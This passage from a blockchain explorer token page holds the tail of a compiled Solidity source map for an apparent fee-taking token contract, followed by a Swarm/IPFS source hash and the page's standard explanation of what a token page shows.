1:-1;;;;;11262:17:0;:25;11244:17;:44::i;:::-;11234:7;:54;11108:196;11331:41;11346:4;11352:2;11356:6;11364:7;11331:14;:41::i;:::-;9148:2232;9045:2335;;;:::o;2462:224::-;2582:7;2618:12;2610:6;;;;2602:29;;;;-1:-1:-1;;;2602:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2642:9:0;2654:5;2658:1;2654;:5;:::i;:::-;2642:17;2462:224;-1:-1:-1;;;;;2462:224:0:o;11881:101::-;11938:19;;:36;;-1:-1:-1;;;;;11938:19:0;;;;:36;;;;;11967:6;;11938:19;:36;:19;:36;11967:6;11938:19;:36;;;;;;;;;;;;;;;;;;;;;11881:101;:::o;8100:202::-;8195:7;8220:19;8242:10;:8;:10::i;:::-;8220:32;-1:-1:-1;8270:24:0;:7;8220:32;8270:11;:24::i;:::-;8263:31;8100:202;-1:-1:-1;;;8100:202:0:o;11389:483::-;5936:6;:13;;-1:-1:-1;;;;5936:13:0;-1:-1:-1;;;5936:13:0;;;11491:16:::1;::::0;;11505:1:::1;11491:16:::0;;;;;::::1;::::0;;-1:-1:-1;;11491:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11491:16:0::1;11467:40;;11536:4;11518;11523:1;11518:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11518:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;11562:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;11562:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;11518:7;;11562:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11552:4;11557:1;11552:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11552:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;11627:15:::1;::::0;11595:62:::1;::::0;11612:4:::1;::::0;11627:15:::1;11645:11:::0;11595:8:::1;:62::i;:::-;11668:15;::::0;:196:::1;::::0;-1:-1:-1;;;11668:196:0;;-1:-1:-1;;;;;11668:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;11749:11;;11668:15:::1;::::0;11791:4;;11818::::1;::::0;11838:15:::1;::::0;11668:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5972:6:0;:14;;-1:-1:-1;;;;5972:14:0;;;-1:-1:-1;;;;11389:483:0:o;2317:136::-;2375:7;2402:43;2406:1;2409;2402:43;;;;;;;;;;;;;;;;;:3;:43::i;12481:282::-;12637:7;12632:28;;12646:14;:12;:14::i;:::-;12671:44;12689:6;12697:9;12708:6;12671:17;:44::i;:::-;12731:7;12726:29;;12740:15;8597:17;;8585:9;:29;8635:15;;8625:7;:25;8541:117;15507:164;15549:7;15570:15;15587;15606:19;:17;:19::i;:::-;15569:56;;-1:-1:-1;15569:56:0;-1:-1:-1;15643:20:0;15569:56;;15643:11;:20::i;:::-;15636:27;;;;15507:164;:::o;2950:132::-;3008:7;3035:39;3039:1;3042;3035:39;;;;;;;;;;;;;;;;;:3;:39::i;8311:221::-;8358:9;;:14;:30;;;;-1:-1:-1;8376:7:0;;:12;8358:30;8354:43;;;8311:221::o;8354:43::-;8430:9;;;8410:17;:29;8468:7;;;8450:15;:25;-1:-1:-1;8489:13:0;;;;8513:11;8311:221::o;12772:637::-;13125:17;;12919:15;;;;;;;;;;;;13106:46;;-1:-1:-1;;;;;13117:25:0;;;13125:17;;13117:25;;13144:7;13106:10;:46::i;:::-;-1:-1:-1;;;;;13181:15:0;;;;;;:7;:15;;;;;;12904:248;;-1:-1:-1;12904:248:0;;-1:-1:-1;12904:248:0;;-1:-1:-1;12904:248:0;-1:-1:-1;12904:248:0;-1:-1:-1;12904:248:0;-1:-1:-1;13181:28:0;;12904:248;13181:19;:28::i;:::-;-1:-1:-1;;;;;13163:15:0;;;;;;;:7;:15;;;;;;:46;;;;13241:18;;;;;;;:39;;13264:15;13241:22;:39::i;:::-;-1:-1:-1;;;;;13220:18:0;;;;;;:7;:18;;;;;:60;13291:16;13301:5;13291:9;:16::i;:::-;13318:23;13330:4;13336;13318:11;:23::i;:::-;13374:9;-1:-1:-1;;;;;13357:44:0;13366:6;-1:-1:-1;;;;;13357:44:0;;13385:15;13357:44;;;;1595:25:1;;1583:2;1568:18;;1449:177;13357:44:0;;;;;;;;12893:516;;;;;;12772:637;;;:::o;15680:257::-;15778:7;;15731;;;;;4799:15;4459:1;4799:2;:15;:::i;:::-;4783:31;;:13;:31;:::i;:::-;15796:25;-1:-1:-1;15846:20:0;4799:15;4459:1;4799:2;:15;:::i;:::-;4783:31;;:13;:31;:::i;:::-;15846:7;;;:11;:20::i;:::-;15836:7;:30;15832:61;;;15876:7;;4799:15;4459:1;4799:2;:15;:::i;:::-;4783:31;;:13;:31;:::i;:::-;15868:25;;;;;;15680:257;;:::o;15832:61::-;15912:7;;15921;;-1:-1:-1;15680:257:0;-1:-1:-1;15680:257:0:o;3091:223::-;3211:7;3246:12;3239:5;3231:28;;;;-1:-1:-1;;;3231:28:0;;;;;;;;:::i;:::-;-1:-1:-1;3270:9:0;3282:5;3286:1;3282;:5;:::i;13832:643::-;13946:7;13968;13990;14012;14034;14056;14092:23;14117:12;14131:13;14161:40;14173:7;14182:9;;14193:7;;14161:11;:40::i;:::-;14091:110;;;;;;14212:19;14234:10;:8;:10::i;:::-;14212:32;;14256:15;14273:23;14298:12;14327:46;14339:7;14348:4;14354:5;14361:11;14327;:46::i;:::-;14255:118;;;;;;14392:7;:21;;14412:1;14392:21;;;14402:7;14392:21;14384:83;14415:15;;-1:-1:-1;14415:15:0;-1:-1:-1;14438:15:0;;-1:-1:-1;14455:4:0;;-1:-1:-1;14461:5:0;;-1:-1:-1;13832:643:0;;-1:-1:-1;;;;;13832:643:0:o;2129:179::-;2187:7;;2219:5;2223:1;2219;:5;:::i;:::-;2207:17;;2248:1;2243;:6;;2235:46;;;;-1:-1:-1;;;2235:46:0;;13050:2:1;2235:46:0;;;13032:21:1;13089:2;13069:18;;;13062:30;13128:29;13108:18;;;13101:57;13175:18;;2235:46:0;12848:351:1;13418:211:0;13471:19;13493:10;:8;:10::i;:::-;13471:32;-1:-1:-1;13514:13:0;13530:22;:5;13471:32;13530:9;:22::i;:::-;13604:4;13588:22;;;;:7;:22;;;;;;13514:38;;-1:-1:-1;13588:33:0;;13514:38;13588:26;:33::i;:::-;13579:4;13563:22;;;;:7;:22;;;;;:58;-1:-1:-1;;;13418:211:0:o;13638:147::-;13716:7;;:17;;13728:4;13716:11;:17::i;:::-;13706:7;:27;13757:10;;:20;;13772:4;13757:14;:20::i;:::-;13744:10;:33;-1:-1:-1;;13638:147:0:o;14484:469::-;14653:7;;;;14747:30;14773:3;14747:21;:7;14759:8;14747:11;:21::i;:::-;:25;;:30::i;:::-;14732:45;-1:-1:-1;14788:13:0;14804:28;14828:3;14804:19;:7;14816:6;14804:11;:19::i;:28::-;14788:44;-1:-1:-1;14843:23:0;14869:28;14788:44;14869:17;:7;14881:4;14869:11;:17::i;:::-;:21;;:28::i;:::-;14843:54;14933:4;;-1:-1:-1;14939:5:0;;-1:-1:-1;14484:469:0;;-1:-1:-1;;;;;14484:469:0:o;14962:536::-;15156:7;;;;15253:24;:7;15265:11;15253;:24::i;:::-;15235:42;-1:-1:-1;15288:12:0;15303:21;:4;15312:11;15303:8;:21::i;:::-;15288:36;-1:-1:-1;15335:13:0;15351:22;:5;15361:11;15351:9;:22::i;:::-;15335:38;-1:-1:-1;15384:23:0;15410:28;15335:38;15410:17;:7;15422:4;15410:11;:17::i;:28::-;15459:7;;;;-1:-1:-1;15485:4:0;;-1:-1:-1;14962:536:0;;-1:-1:-1;;;;;;;14962:536:0:o;2695:246::-;2753:7;2777:1;2782;2777:6;2773:47;;-1:-1:-1;2807:1:0;2800:8;;2773:47;2830:9;2842:5;2846:1;2842;:5;:::i;:::-;2830:17;-1:-1:-1;2875:1:0;2866:5;2870:1;2830:17;2866:5;:::i;:::-;:10;2858:56;;;;-1:-1:-1;;;2858:56:0;;13406:2:1;2858:56:0;;;13388:21:1;13445:2;13425:18;;;13418:30;13484:34;13464:18;;;13457:62;-1:-1:-1;;;13535:18:1;;;13528:31;13576:19;;2858:56:0;13204:397:1;14:548;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1631:456::-;1708:6;1716;1724;1777:2;1765:9;1756:7;1752:23;1748:32;1745:52;;;1793:1;1790;1783:12;1745:52;1832:9;1819:23;1851:31;1876:5;1851:31;:::i;:::-;1901:5;-1:-1:-1;1958:2:1;1943:18;;1930:32;1971:33;1930:32;1971:33;:::i;:::-;1631:456;;2023:7;;-1:-1:-1;;;2077:2:1;2062:18;;;;2049:32;;1631:456::o;2489:273::-;2545:6;2598:2;2586:9;2577:7;2573:23;2569:32;2566:52;;;2614:1;2611;2604:12;2566:52;2653:9;2640:23;2706:5;2699:13;2692:21;2685:5;2682:32;2672:60;;2728:1;2725;2718:12;2767:247;2826:6;2879:2;2867:9;2858:7;2854:23;2850:32;2847:52;;;2895:1;2892;2885:12;2847:52;2934:9;2921:23;2953:31;2978:5;2953:31;:::i;3019:180::-;3078:6;3131:2;3119:9;3110:7;3106:23;3102:32;3099:52;;;3147:1;3144;3137:12;3099:52;-1:-1:-1;3170:23:1;;3019:180;-1:-1:-1;3019:180:1:o;3204:388::-;3272:6;3280;3333:2;3321:9;3312:7;3308:23;3304:32;3301:52;;;3349:1;3346;3339:12;3301:52;3388:9;3375:23;3407:31;3432:5;3407:31;:::i;:::-;3457:5;-1:-1:-1;3514:2:1;3499:18;;3486:32;3527:33;3486:32;3527:33;:::i;:::-;3579:7;3569:17;;;3204:388;;;;;:::o;3597:127::-;3658:10;3653:3;3649:20;3646:1;3639:31;3689:4;3686:1;3679:15;3713:4;3710:1;3703:15;3729:422;3818:1;3861:5;3818:1;3875:270;3896:7;3886:8;3883:21;3875:270;;;3955:4;3951:1;3947:6;3943:17;3937:4;3934:27;3931:53;;;3964:18;;:::i;:::-;4014:7;4004:8;4000:22;3997:55;;;4034:16;;;;3997:55;4113:22;;;;4073:15;;;;3875:270;;;3879:3;3729:422;;;;;:::o;4156:806::-;4205:5;4235:8;4225:80;;-1:-1:-1;4276:1:1;4290:5;;4225:80;4324:4;4314:76;;-1:-1:-1;4361:1:1;4375:5;;4314:76;4406:4;4424:1;4419:59;;;;4492:1;4487:130;;;;4399:218;;4419:59;4449:1;4440:10;;4463:5;;;4487:130;4524:3;4514:8;4511:17;4508:43;;;4531:18;;:::i;:::-;-1:-1:-1;;4587:1:1;4573:16;;4602:5;;4399:218;;4701:2;4691:8;4688:16;4682:3;4676:4;4673:13;4669:36;4663:2;4653:8;4650:16;4645:2;4639:4;4636:12;4632:35;4629:77;4626:159;;;-1:-1:-1;4738:19:1;;;4770:5;;4626:159;4817:34;4842:8;4836:4;4817:34;:::i;:::-;4887:6;4883:1;4879:6;4875:19;4866:7;4863:32;4860:58;;;4898:18;;:::i;:::-;4936:20;;4156:806;-1:-1:-1;;;4156:806:1:o;4967:140::-;5025:5;5054:47;5095:4;5085:8;5081:19;5075:4;5054:47;:::i;5112:168::-;5185:9;;;5216;;5233:15;;;5227:22;;5213:37;5203:71;;5254:18;;:::i;5285:356::-;5487:2;5469:21;;;5506:18;;;5499:30;5565:34;5560:2;5545:18;;5538:62;5632:2;5617:18;;5285:356::o;5998:251::-;6068:6;6121:2;6109:9;6100:7;6096:23;6092:32;6089:52;;;6137:1;6134;6127:12;6089:52;6169:9;6163:16;6188:31;6213:5;6188:31;:::i;7175:306::-;7263:6;7271;7279;7332:2;7320:9;7311:7;7307:23;7303:32;7300:52;;;7348:1;7345;7338:12;7300:52;7377:9;7371:16;7361:26;;7427:2;7416:9;7412:18;7406:25;7396:35;;7471:2;7460:9;7456:18;7450:25;7440:35;;7175:306;;;;;:::o;10710:125::-;10775:9;;;10796:10;;;10793:36;;;10809:18;;:::i;11244:128::-;11311:9;;;11332:11;;;11329:37;;;11346:18;;:::i;11509:127::-;11570:10;11565:3;11561:20;11558:1;11551:31;11601:4;11598:1;11591:15;11625:4;11622:1;11615:15;11641:980;11903:4;11951:3;11940:9;11936:19;11982:6;11971:9;11964:25;12008:2;12046:6;12041:2;12030:9;12026:18;12019:34;12089:3;12084:2;12073:9;12069:18;12062:31;12113:6;12148;12142:13;12179:6;12171;12164:22;12217:3;12206:9;12202:19;12195:26;;12256:2;12248:6;12244:15;12230:29;;12277:1;12287:195;12301:6;12298:1;12295:13;12287:195;;;12366:13;;-1:-1:-1;;;;;12362:39:1;12350:52;;12457:15;;;;12422:12;;;;12398:1;12316:9;12287:195;;;-1:-1:-1;;;;;;;12538:32:1;;;;12533:2;12518:18;;12511:60;-1:-1:-1;;;12602:3:1;12587:19;12580:35;12499:3;11641:980;-1:-1:-1;;;11641:980:1:o;12626:217::-;12666:1;12692;12682:132;;12736:10;12731:3;12727:20;12724:1;12717:31;12771:4;12768:1;12761:15;12799:4;12796:1;12789:15;12682:132;-1:-1:-1;12828:9:1;;12626:217::o

Swarm Source

ipfs://fed6f2272f2b48386da9314272222e18cb651e6b3cd227eca100f026ad31230b
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.